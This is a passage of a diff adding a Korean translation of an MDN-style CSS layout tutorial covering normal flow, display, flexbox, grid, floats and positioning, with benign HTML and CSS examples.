+<p><strong>참고</strong>: 블록 요소 상황에 해당하는 방향으로 배치되는 것을 일컽어 블록 방향이라고 기술한다. 영어와 같은 언어 상에서 블록 방향은 수직 대열을 갖게되며, 이는 가로쓰기 모드이다. 일본어와 같은 세로 쓰기 모드에 해당하는 언어 상에서 블록 방향은 수평 대열이 됩니다. (블록 관계와) 대척 관계인 인라인 방향은 (문장과 같은) 인라인 콘텐츠가 흘러가는 방향을 말한다.</p>
+</div>
+
+<p>CSS를 사용하여 레이아웃을 만들 경우 당신은 요소 집합을 보통 흐름(normal flow)에서 벗어나도록 하는 것이다. 그러나 당신의 웹페이지의 다수 요소 집합의 경우는 보통 흐름(normal flow)이므로 정확히 당신이 필요로하는 레이아웃이 그대로 만들어질 것이다. 그런 까닭에 잘 구조화된 HTML 문서에서 시작하는 것이 아주 중요하다. 그런 뒤에 당신은 사물들이 기본값으로 배치된 방식과 대립해 싸우는게 아니라 협력해서 작업할 수 있게 된다.</p>
+
+<p>CSS에서 요소가 배치되는 방식을 변경시키는 메서드는 다음과 같다.</p>
+
+<ul>
+ <li><strong>{{cssxref("display")}} 속성</strong> — <code>block</code>, <code>inline</code> 또는 <code>inline-block</code>과 같은 기준 속성값은 보통 흐름(normal flow)속에서 요소가 동작하는 방식을 변경할 수 있다. (더 자세한 정보는 <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model#Types_of_CSS_boxes">CSS 상자 유형</a>을 참조하세요). 그 뒤에 우리에게 <code>display</code> 속성값 지정을 통해 활성화될 수 있는 완전체 레이아웃 메서드가 주어진다. 예로 <a href="/ko/docs/Learn/CSS/CSS_layout/Grids">CSS 그리드</a>와 <a href="/ko/docs/Learn/CSS/CSS_layout/Flexbox">flexbox</a>.</li>
+ <li><strong>Floats</strong> — {{cssxref("float")}} 속성의 값을 예로 <code>left</code>로 적용하면 흔히 메거진 레이아웃에 속한 이미지가 텍스트를 자신의 주변에 떠있게 하는 방식과 같이 블록 수준 요소가 어떤 요소의 한 쪽 측면으로 밀려나도록 할 수 있다.</li>
+ <li><strong>{{cssxref("position")}} 속성은</strong> — 다른 상자 내부에 들어가 상자의 정확한 위치를 제어할 수 있게 해준다. <code>정적</code> 포지셔닝는 기본값으로 보통 흐름(normal flow) 소속이지만, 다른 속성값을 사용해 요소들이 다르게 배치되도록 만들 수 있다. 예를 들어 브라우저 뷰포트의 왼쪽 최상단에 맞춰 (또는 비례해서) 위치를 고정시킬 수 있다.</li>
+ <li><strong>테이블 레이아웃</strong> — 이것은 HTML 테이블 구성원에 스타일을 지정하기 위해 마련된 기능이기는 하나 <code>display: table</code>와 관련 속성을 사용하여 비테이블 요소에서도 사용될 수 있다.</li>
+ <li><strong>다단 레이아웃</strong> — <a href="/en-US/docs/Web/CSS/CSS_Columns">다단 레이아웃</a> 속성은 당신이 신문 지상에서 볼 수 있듯이 블록 콘텐츠를 단 형태로 배치되도록 만들 수 있다.</li>
+</ul>
+
+<h2 id="디스플레이_속성">디스플레이 속성</h2>
+
+<p>CSS 상에서 페이지 레이아웃을 완성하는 주요 메서드는 <code>display</code> 속성에 포함된 모든 속성값 지정을 통해 이뤄진다. 디스플레이 속성은 요소가 표시되는 기본값 변경을 허용한다. 보통 흐름(normal flow)상의 모든 요소는 한 가지 <code>display</code> 속성값을 갖고 있으며, 해당 요소의 기본 동작 방식을 지정하는 데 사용된다. 예를 들어 영어로 된 단락은 다른 대상 요소 바로 밑에 표시되는 것은 그들 요소의 스타일이 <code>display: block</code>으로 지정되었기 때문이다. 단락 내부 어떤 텍스트 주변에 링크를 만들면 그 링크는 나머지 텍스트와 함께 인라인을 유지하며 새 줄로 넘어가는 행갈이를 하지 않는다. 그런 까닭에 {{htmlelement("a")}} 요소는 기본값으로 <code>display: inline</code>가 된다.</p>
+
+<p>당신은 이러한 기본값 디스플레이 동작을 변경할 수 있다. 예를 들어 {{htmlelement("li")}} 요소는 기본값으로 <code>display: block</code>가 지정되는 것으로 우리 영어 문서 상에서 다른 대상 요소 바로 밑에 표시된다는 의미다. 디스플레이 속성값을 <code>inline</code>으로 변경하면 문장 속 단어의 동작과 마찬가지로 상대 바로 옆에 표시된다. 당신이 어느 요소라도 <code>display</code> 속성값을 변경할 수 있다는 것은 그 요소들이 어떤 모습을 띄게되든 관계없이 해당 HTML 요소의 의미론적 의의를 선택할 수 있다는 뜻이다. 요소가 보여지는 방식은 변경할 수 있는 부분이다.</p>
+
+<p>한 항목을 <code>block</code>에서 <code>inline</code>으로 바꾸거나, 그 반대로 바꿔 기본값진열 방식을 변경할 수 있을뿐만 아니라 하나의 <code>display</code> 속성값으로 시작해서 확대된 형태의 레이아웃 메서드로 일부 있다. 그러나 그것을 사용할 경우 대게는 추가적인 속성 호출이 요구된다. 레이아웃의 목적이 무엇인지 논할 때 가장 중요한 두 가지 속성값은 <code>display: flex</code>와 <code>display: grid</code>이다.</p>
+
+<h2 id="flexbox">flexbox</h2>
+
+<p>flexbox는 <a href="/ko/docs/Web/CSS/CSS_Flexible_Box_Layout">가변 상자 레이아웃</a> 모듈의 약칭으로 행이 됐건 열이 됐건 일차원 상에 사물을 배치할 경우 편리를 돕기 위해 마련되었다. flexbox를 사용하려면 당신이 진열하길 원하는 모든 요소의 부모 요소에 <code>display: flex</code>를 적용하고 나면 모든 직계 자식이 플렉스 항목이 된다. 우리는 간단한 예를 들어 이 점을 확인할 수 있다.</p>
+
+<p>아래 HTML 마크업을 보면<code>wrapper</code> 클래스에 해당하는 컨테이너 요소를 제공하고, 그 내부에 세 개의 {{htmlelement("div")}} 요소가 있다. 기본값으로 이들 요소들은 영어 문서 상에서 블록 요소로 상대 요소 밑에 표시된다.</p>
+
+<p>그러나 부모 요소에 <code>display: flex</code>를 부여하면 세개 항목이 자체적으로 단으로 배열된다. 그렇게 된 까닭은 그들 요소들이 <em>가변 항목</em>이 되었을 뿐만 아니라 flexbox가 그들 요소에 부여한 일부 초기값을 사용했기 때문이다. 그들은 행으로 표시되었는데, 그 까닭은 {{cssxref("flex-direction")}}의 초기값이 <code>row</code>이기 때문이다. 그들은 모두 항목 무리에서 키가 가장 큰 높이로 연장된 모양새가 되는데, 그 까닭은 {{cssxref("align-items")}} 속성의 초기값이 <code>stretch</code>이기 때문이다. 즉, 항목 무리가 가변 컨테이너의 높이에 맞춰 연장된다는 것으로 이번 경우에 키가 가장 큰 항목이 기준으로 정해진다. 항목 무리 전체가 가변 컨테이너의 초입에 맞춰 정렬하면서 행의 말미에 여분의 공간이 남겨진다.</p>
+
+<div id="가변_1">
+<div class="hidden">
+<h6 id="flexbox_예제_1">flexbox 예제 1</h6>
+
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper &gt; div {
+    border-radius: 5px;
+    background-color: rgb(207,232,220);
+    padding: 1em;
+}
+    </pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: flex;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;하나&lt;/div&gt;
+  &lt;div class="box2"&gt;둘&lt;/div&gt;
+  &lt;div class="box3"&gt;셋&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('가변_1', '300', '200') }}</p>
+
+<p>가변 콘테이너에 적용될 수 있는 상기한 속성이외에도 가변 항목에 적용될 수 있는 속성이 있다. 다른 것들 중에서 그들 속성들은 항목이 변형되는 방식을 변경할 수 있는데, 항목을 여유 공간에 맞춰 연장하거나 수축될 수 있다.</p>
+
+<p>이에 대한 간단한 예로 자식 항목 전체에 대한 {{cssxref("flex")}} 속성에 대해 속성값 <code>1</code>을 부가할 수 있다. 그로 인해 컨테이너 말미에 공간을 남기지 않고 항목 무리 전체가 확대되거나 채워지도록 만든다. 항목 무리보다 많은 공간이 있을 경우는 늘어날 것이고 적은 공간이 있으면 축소될 것이다. 게다가 HTML 마크업에 다른 요소를 추가하면 그 대상 요소를 위한 공간 생성을 위해 항목 무리 전체가 축소될 것이다. 그들은 그 요소가 뭐가됐건 동일한 공간 점유를 위해 크기가 조종된다.</p>
+
+<div id="가변_2">
+<div class="hidden">
+<h6 id="flexbox_예제_2">flexbox 예제 2</h6>
+
+<pre class="brush: css">    * {box-sizing: border-box;}
+
+    .wrapper &gt; div {
+        border-radius: 5px;
+        background-color: rgb(207,232,220);
+        padding: 1em;
+    }
+    </pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+    display: flex;
+}
+
+.wrapper &gt; div {
+    flex: 1;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+    &lt;div class="box1"&gt;하나&lt;/div&gt;
+    &lt;div class="box2"&gt;둘&lt;/div&gt;
+    &lt;div class="box3"&gt;셋&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('가변_2', '300', '200') }}</p>
+
+<div class="note">
+<p><strong>참고</strong>: 이 안내서는 flexbox 상에서 있을 수 있는 내용에 대한 짧은 입문서였다. 더 자세한 내용은 <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">flexbox</a> 편을 참조하세요.</p>
+</div>
+
+<h2 id="그리드_레이아웃">그리드 레이아웃</h2>
+
+<p>가변 상자는 일차원 레이아웃을 위해 마련되었지만, 그리드 레이아웃은 이차원 레이아웃을 위해 마련되었다. 즉 행과 열에 포함된 사물들을 배열한다.</p>
+
+<p>반복되는 얘기지만, 디스플레이 속성에 <code>display: grid</code>라는 특정 값을 지정하면 그리드 레이아웃으로 전환할 수 있다. 아래 예를 보면 가변 요소 사례에 비슷한 마크업을 사용했다. 하나의 컨테이너와 몇몇 자식 요소가 딸려있다. 우리는 <code>display: grid</code> 사용뿐만 아니라 {{cssxref("grid-template-rows")}}와 {{cssxref("grid-template-columns")}}라는 개별 속성을 활용하여 부모 요소를 상대로 일부 행과 열 궤도를 정의한다. 여기 각기 <code>1fr</code>값이 지정된 3열과 <code>100px</code>이 지정된 2행을 정의했다. 자식 요소 상에 굳이 어떤 규칙도 적용할 필요없이, 그 요소들이 우리가 생성한 그리드 안에 자동적으로 자리잡게 된다.</p>
+
+<div id="격자_1">
+<div class="hidden">
+<h6 id="그리드_예제_1">그리드 예제 1</h6>
+
+<pre class="brush: css">    * {box-sizing: border-box;}
+
+    .wrapper &gt; div {
+        border-radius: 5px;
+        background-color: rgb(207,232,220);
+        padding: 1em;
+    }
+    </pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+    display: grid;
+    grid-template-columns: 1fr 1fr 1fr;
+    grid-template-rows: 100px 100px;
+    grid-gap: 10px;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+    &lt;div class="box1"&gt;하나&lt;/div&gt;
+    &lt;div class="box2"&gt;둘&lt;/div&gt;
+    &lt;div class="box3"&gt;셋&lt;/div&gt;
+    &lt;div class="box4"&gt;넷&lt;/div&gt;
+    &lt;div class="box5"&gt;다섯&lt;/div&gt;
+    &lt;div class="box6"&gt;여섯&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('격자_1', '300', '330') }}</p>
+
+<p>그리드가 주어지고 나면 앞서 확인했듯 당신의 항목 무리를 그리드 상에 자동 배치하는 동작 방식이 아니라 명시적으로 위치를 지정할 수 있다. 아래 두 번째 예제에서 동일한 그리드를 정의했지만, 이번에는 세개의 자식 항목이 주어졌다. 우리는 {{cssxref("grid-column")}}와 {{cssxref("grid-row")}}를 사용해서 각 항목의 행과 열의 시작과 끝을 지정했다. 이로써 항목 무리가 차지하는 공간이 여러 궤도에 걸쳐 확대되었다.</p>
+
+<div id="격자_2">
+<div class="hidden">
+<h6 id="그리드_예제_2">그리드 예제 2</h6>
+
+<pre class="brush: css">    * {box-sizing: border-box;}
+
+    .wrapper &gt; div {
+        border-radius: 5px;
+        background-color: rgb(207,232,220);
+        padding: 1em;
+    }
+    </pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+    display: grid;
+    grid-template-columns: 1fr 1fr 1fr;
+    grid-template-rows: 100px 100px;
+    grid-gap: 10px;
+}
+
+.box1 {
+    grid-column: 2 / 4;
+    grid-row: 1;
+}
+
+.box2 {
+    grid-column: 1;
+    grid-row: 1 / 3;
+}
+
+.box3 {
+    grid-row: 2;
+    grid-column: 3;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+    &lt;div class="box1"&gt;하나&lt;/div&gt;
+    &lt;div class="box2"&gt;둘&lt;/div&gt;
+    &lt;div class="box3"&gt;셋&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('격자_2', '300', '330') }}</p>
+
+<div class="note">
+<p><strong>참고</strong>: 이 두 예제는 그리드 레이아웃의 일부분일 뿐이며, 자세한 내용은 <a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">그리드 레이아웃</a></p>
+</div>
+
+<p>이 가이드의 나머지 부분은 페이지의 주요 레이아웃 구조로 보기엔 덜 중요하지만 특정 작업을 수행하는 데 여전히 도움이 될 수 있는 다른 레이아웃 방법을 다룬다. 각 레이아웃 작업의 특성을 이해함으로써 당신이 디자인 하는 특정 구성 요소를 들여다 볼 때 거기에 가장 적합한 레이아웃 유형이 종종 명확해 진다는 것을 조만간 알게 될 것이다.</p>
+
+<h2 id="Floats">Floats</h2>
+
+<p>요소를 부동시키면 보통 흐름(normal flow)속에 속한 해당 요소와 해당 요소를 뒤따르는 블록 수준 요소의 동작이 변경된다. 요소는 왼쪽 또는 오른쪽으로 이동하고 보통 흐름(normal flow)에서 벗어나게되며 주변 콘텐츠는 부유된 항목 주위로 떠다닙니다.</p>
+
+<p>이 {{cssxref("float")}} 속성은 네 가지 값을 가질 수 있다:</p>
+
+<ul>
+ <li><code>left</code> — 요소를 왼쪽에 띄웁니다.</li>
+ <li><code>right</code> — 요소를 오른쪽에 띄웁니다.</li>
+ <li><code>none</code> — 부동 여부를 전혀 지정하지 않는다. 이것이 기본값이다.</li>
+ <li><code>inherit</code> — 부동 속성의 값이 요소의 부모 요소에서 상속된다고 지정한다.</li>
+</ul>
+
+<p>아래 예제에서 우리는 <code>&lt;div&gt;</code> 왼쪽을 띄우고 오른쪽에 {{cssxref("margin")}}을 주어 텍스트를 <code>&lt;div&gt;</code> 요소 자리에서 밀어낸다. 이것은 우리에게 텍스트가 그 상자를 감싸는 효과를 부여하며, 이는 현대 웹 디자인에서 사용되는 Floats에 대해 알아야할 내용의 대부분이다.</p>
+
+<div id="부동_1">
+<div class="hidden">
+<h6 id="Floats_예제">Floats 예제</h6>
+
+<pre class="brush: css">body {
+    width: 90%;
+    max-width: 900px;
+    margin: 0 auto;
+}
+
+p {
+    line-height: 2;
+    word-spacing: 0.1rem;
+}
+
+.box {
+    background-color: rgb(207,232,220);
+    border: 2px solid rgb(79,185,227);
+    padding: 10px;
+    border-radius: 5px;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;h1&gt;간단한 부동 예제&lt;/h1&gt;
+
+&lt;div class="box"&gt;부동&lt;/div&gt;
+
+&lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+</pre>
+
+<pre class="brush: css">
+.box {
+    float: left;
+    width: 150px;
+    height: 150px;
+    margin-right: 30px;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('부동_1', '100%', 600) }}</p>
+
+<div class="note">
+<p><strong>참고</strong>: Floats에 대한 설명은 <a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">부동 및 해제</a> 속성 편에서 충분히 다룹니다. flexbox 및 그리드 레이아웃과 같은 기술이 나오기 이전에 Floats는 열 레이아웃을 만드는 메서드로 사용되었다. 웹에서 이러한 메서드와 대면하는 경우도 여전히 있다. <a href="/ko/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">레거시 레이아웃 메서드</a>에 관한 단원에서 그 내용을 다루게 된다.</p>
+</div>
+
+<h2 id="포지셔닝_기술">포지셔닝 기술</h2>
+
+<p>포지셔닝를 통해 보통 흐름(normal flow)속에 있는 요소를 예상되는 기존의 배치 위치에서 벗어나 다른 위치로 이동시킬 수 있다. 포지셔닝는 메인 페이지 레이아웃을 생성하는 메서드가 아니라 페이지의 특정 항목의 위치를 관리하고 미세 조정하는 것에 관한 것이다.</p>
+
+<p>그러나 {{cssxref("position")}} 속성에 의존하는 특정 레이아웃 패턴을 상대할 경우 유용한 기술도 있다. 포지셔닝를 이해하는 것은 또한 보통 흐름(normal flow)을 이해하고, 항목을 보통 흐름(normal flow)에서 벗어나게 한다는 것이 무엇인지를 이해하는 데 도움이 된다.</p>
+
+<p>당신이 알아야 할 다섯 가지 포지셔닝 유형이 있다.</p>
+
+<ul>
+ <li><strong>정적 포지셔닝</strong>는 모든 요소에 기본값으로 부여된 속성이다. 즉, "문서 레이아웃 대열에 속하는 요소를 기존의 일반 위치에 들여놓는 것으로 여기서 특별할 것은 없다."라는 것을 의미한다.</li>
+ <li><strong>상대 포지셔닝</strong>페이지상의 요소 위치를 수정하여 그것을 보통 흐름(normal flow)상의 기존 위치와 비례해 이동토록 하는 것으로 페이지의 다른 요소와 겹치는 것도 해당한다.</li>
+ <li><strong>절대 포지셔닝</strong>는 요소를 페이지의 일반 레이아웃 대열에서 완전히 벗어난 곳으로 이동시켜 자체적인 개별 레이어 상에 놓는 것과 같다. 그곳으로부터 페이지의 <code>&lt;html&gt;</code> 요소(또는 가장 근접 위치에 있는 조상 요소)의 가장자리 기준에서 비례하는 위치에 고정할 수 있다. 이것은 다른 콘텐츠 패널이 서로 다른 요소 위에 놓여야 하는 동시에 표시 및 감추기를 맘대로 하는 탭 상자의 경우나 기본적으로 화면에서 벗어나지만 컨트롤 단추를 사용하여 화면상에 슬라이더 전환이 되도록 만들어진 정보 패널과 같은 복잡한 레이아웃 효과를 만드는 데 유용하다.</li>
+ <li><strong>고정 포지셔닝</strong>는 다른 요소가 아닌 브라우저 뷰포트 기준과 비례해 요소를 고정하는 것을 제외하고는 절대 포지셔닝와 매우 유사합니다. 이것은 나머지 콘텐츠 부분이 스크롤해야 보이는 화면 상에서 항상 동일한 위치에 머물러야 하는 영구적인 탐색 메뉴와 같은 효과를 만드는 데 유용합니다.</li>
+ <li><strong>스티키 포지셔닝</strong>는 하나의 요소를 <code>position: static</code>와 같이 작동하다가 뷰포트 기준에서 사전에 정의된 간격띄우기 지점에 도달한 순간 이후부터는 <code>position: fixed</code>와 같이 같이 작동하는 새로운 포지셔닝 메서드이다.</li>
+</ul>
+
+<h3 id="간단한_포지셔닝_예제">간단한 포지셔닝 예제</h3>
+
+<p>이러한 페이지 레이아웃 기술에 친숙해지도록 몇 가지 간단한 예를 보여드리겠습니다. 예제는 다음과 같이 모두 동일한 HTML 특성을 갖고 있다:</p>
+
+<pre class="brush: html">&lt;h1&gt;포지셔닝&lt;/h1&gt;
+
+&lt;p&gt;나는 기본 블록 수준 요소입니다.&lt;/p&gt;
+&lt;p class="positioned"&gt;나는 기본 블록 수준 요소입니다.&lt;/p&gt;
+&lt;p&gt;나는 기본 블록 수준 요소입니다.&lt;/p&gt;</pre>
+
+<p>이 HTML은 다음과 같은 CSS를 기본값으로 사용하여 스타일링됩니다.</p>
+
+<pre class="brush: css">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+    background-color: rgb(207,232,220);
+    border: 2px solid rgb(79,185,227);
+    padding: 10px;
+    margin: 10px;
+    border-radius: 5px;
+}
+</pre>
+
+<p>렌더링된 출력은 다음과 같다:</p>
+
+<p>{{ EmbedLiveSample('간단한_포지셔닝_예제', '100%', 300) }}</p>
+
+<h3 id="상대_포지셔닝">상대 포지셔닝</h3>
+
+<p>상대 포지셔닝 통해 기본 대열 속에서 예상되는 기본값으로 주어지는 위치로부터 항목을 간격띄우기할 수 있다. 이것은 아이콘을 약간 아래로 이동하여 텍스트 레이블에 맞춰 정렬하는 것과 같은 작업을 수행할 수 있다는 의미다. 이를 위해 다음 규칙을 추가하여 상대적인 위치를 추가할 수 있습니다:</p>
+
+<pre class="brush: css">.positioned {
+  position: relative;
+  top: 30px;
+  left: 30px;
+}</pre>
+
+<p>여기서 우리는 중간 단락에 {{cssxref("position")}} 값을<code>relative</code>로 부여하고(이것은 자체적으로 아무것도하지 않는다) 아울러 {{cssxref("top")}}와 {{cssxref("left")}} 속성도 추가한다. 이것은 영향을 받는 요소를 아래로 그리고 오른쪽으로 이동시키는 역할을 한다. 이것은 당신이 기대했던 것과 반대되는 것처럼 보일 수 있지만, 그것을 왼쪽과 상단면에서 밀리는 요소로 생각할 필요가 있다.</p>
+
+<p>이 코드를 추가하면 다음과 같은 결과가 나타난다.</p>
+
+<div id="상대적_1">
+<div class="hidden">
+<h6 id="상대적_포지셔닝_예제">상대적 포지셔닝 예제</h6>
+
+<pre class="brush: html">&lt;h1&gt;상대적 포지셔닝&lt;/h1&gt;
+
+&lt;p&gt;나는 기본 블록 수준 요소입니다.&lt;/p&gt;
+&lt;p class="positioned"&gt;이것은 내가 상대적으로 포지셔닝한 요소입니다.&lt;/p&gt;
+&lt;p&gt;나는 기본 블록 수준 요소입니다.&lt;/p&gt;</pre>
+
+<pre class="brush: css">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+    background-color: rgb(207,232,220);
+    border: 2px solid rgb(79,185,227);
+    padding: 10px;
+    margin: 10px;
+    border-radius: 5px;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.positioned {
+  position: relative;
+  background: rgba(255,84,104,.3);
+  border: 2px solid rgb(255,84,104);
+  top: 30px;
+  left: 30px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('상대적_1', '100%', 300) }}</p>
+
+<h3 id="절대_포지셔닝">절대 포지셔닝</h3>
+
+<p>절대 포지셔닝는 보통 흐름(normal flow)에서 요소를 완전히 제거하고 컨테이너 블록의 가장자리로부터 간격띄우기값(오프셋)을 사용하여 배치하는 데 사용된다.</p>
+
+<p>위치 이동이 없던 원래의 예제로 회귀해서 절대 포지셔닝를 구현하기 위해 다음과 같은 CSS 규칙을 추가할 수 있다:</p>
+
+<pre class="brush: css">.positioned {
+  position: absolute;
+  top: 30px;
+  left: 30px;
+}</pre>
+
+<p>여기서 우리는 중간 단락에 <code>absolute</code> {{cssxref("position")}} 값과 이전과 동일한 {{cssxref("top")}}과 {{cssxref("left")}}속성을 부여한다. 그러나 이 코드를 추가하면 다음과 같은 결과가 나온다.</p>
+
+<div id="절대_1">
+<div class="hidden">
+<h6 id="절대_포지셔닝_예제">절대 포지셔닝 예제</h6>
+
+<pre class="brush: html">&lt;h1&gt;절대 포지셔닝&lt;/h1&gt;
+
+&lt;p&gt;나는 기본 블록 수준 요소입니다.&lt;/p&gt;
+&lt;p class="positioned"&gt;이것은 내가 절대적으로 포지셔닝한 요소입니다.&lt;/p&gt;
+&lt;p&gt;나는 기본 블록 수준 요소입니다.&lt;/p&gt;</pre>
+
+<pre class="brush: css">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+    background-color: rgb(207,232,220);
+    border: 2px solid rgb(79,185,227);
+    padding: 10px;
+    margin: 10px;
+    border-radius: 5px;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.positioned {
+    position: absolute;
+    background: rgba(255,84,104,.3);
+    border: 2px solid rgb(255,84,104);
+    top: 30px;
+    left: 30px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('절대_1', '100%', 300) }}</p>
+
+<p>이건 아주 달라! 위치 지정 요소는 이제 페이지 레이아웃의 나머지 부분과 완전히 분리되어 그 것 위에 놓여있다. 나머지 두 단락은 이제 원래 위치에 있던 자기 형제가 존재하지 않은 듯이 나란히 놓여 있다. {{cssxref("top")}}과 {{cssxref("left")}} 속성은 상대적 위치 지정 요소에 대해 미치는 것과는 다른 영향을 절대적 위치 지정 요소에 대해 미친다. 이 경우 간격띄우기값(오프셋)은 페이지의 좌측 최상단을 기준으로 계산되었다. 여기서 컨테이너가 되는 부모 요소를 변경할 수 있으며 <a href="/en-US/docs/Learn/CSS/CSS_layout/위치잡기">포지셔닝</a>에 관한 단원에서 해당 내용을 살펴보겠다.</p>
+
+<h3 id="고정_포지셔닝">고정 포지셔닝</h3>
+
+<p>고정 포지셔닝는 절대 포지셔닝와 같은 방식으로 문서 대열에서 요소를 제거한다. 그러나 컨테이너 위치로부터 간격띄우기를 적용하는 게 아니라 뷰포트를 기준으로 적용된다. 해당 항목이 뷰포트 기준에 비례하여 고정되기 때문에 해당 항목 아래로 페이지가 스크롤할 때 고정된 메뉴 항목과 같은 효과를 생성할 수 있다.</p>
+
+<p>이번 예제의 경우 페이지를 스크롤할 수 있도록 텍스트 형태의 세 단락으로 구성된 HTML에 상자 하나를 <code>position: fixed</code>로 지정했다.</p>
+
+<pre class="brush: html">&lt;h1&gt;고정 포지셔닝&lt;/h1&gt;
+
+&lt;div class="positioned"&gt;고정&lt;/div&gt;
+
+&lt;p&gt;단락 1.&lt;/p&gt;
+&lt;p&gt;단락 2.&lt;/p&gt;
+&lt;p&gt;단락 3.&lt;/p&gt;
+</pre>
+
+<div id="고정_1">
+<div class="hidden">
+<h6 id="고정_포지셔닝_예제">고정 포지셔닝 예제</h6>
+
+<pre class="brush: html">&lt;h1&gt;고정 포지셔닝&lt;/h1&gt;
+
+&lt;div class="positioned"&gt;고정&lt;/div&gt;
+
+&lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+
+&lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+</pre>
+
+<pre class="brush: css">body {
+    width: 500px;
+    margin: 0 auto;
+}
+
+.positioned {
+    background: rgba(255,84,104,.3);
+    border: 2px solid rgb(255,84,104);
+    padding: 10px;
+    margin: 10px;
+    border-radius: 5px;
+}</pre>
+</div>
+
+<pre class="brush: css">.positioned {
+    position: fixed;
+    top: 30px;
+    left: 30px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('고정_1', '100%', 200) }}</p>
+
+<h3 id="흡착_포지셔닝">흡착 포지셔닝</h3>
+
+<p>흡착 포지셔닝는 우리의 선택을 기다리며 대기중인 마지막 포지셔닝 메서드다. 이것은 기본값인 정적 포지셔닝와 고정 포지셔닝의 혼합형이다. 항목이 <code>position: sticky</code>로 지정된 경우 해당 항목은 뷰포트 기준에서 우리가 정의한 간격띄우기 지점에 도달하기 전까지 보통 흐름(normal flow) 상에서 스크롤된다. 그 지점에 마치 <code>position: fixed</code>가 적용된 것처럼 "철썩" 붙게 된다.</p>
+
+<div id="흡착_1">
+<div class="hidden">
+<h6 id="흡착_포지셔닝_예제">흡착 포지셔닝 예제</h6>
+
+<pre class="brush: html">&lt;h1&gt;흡착 포지셔닝&lt;/h1&gt;
+
+&lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
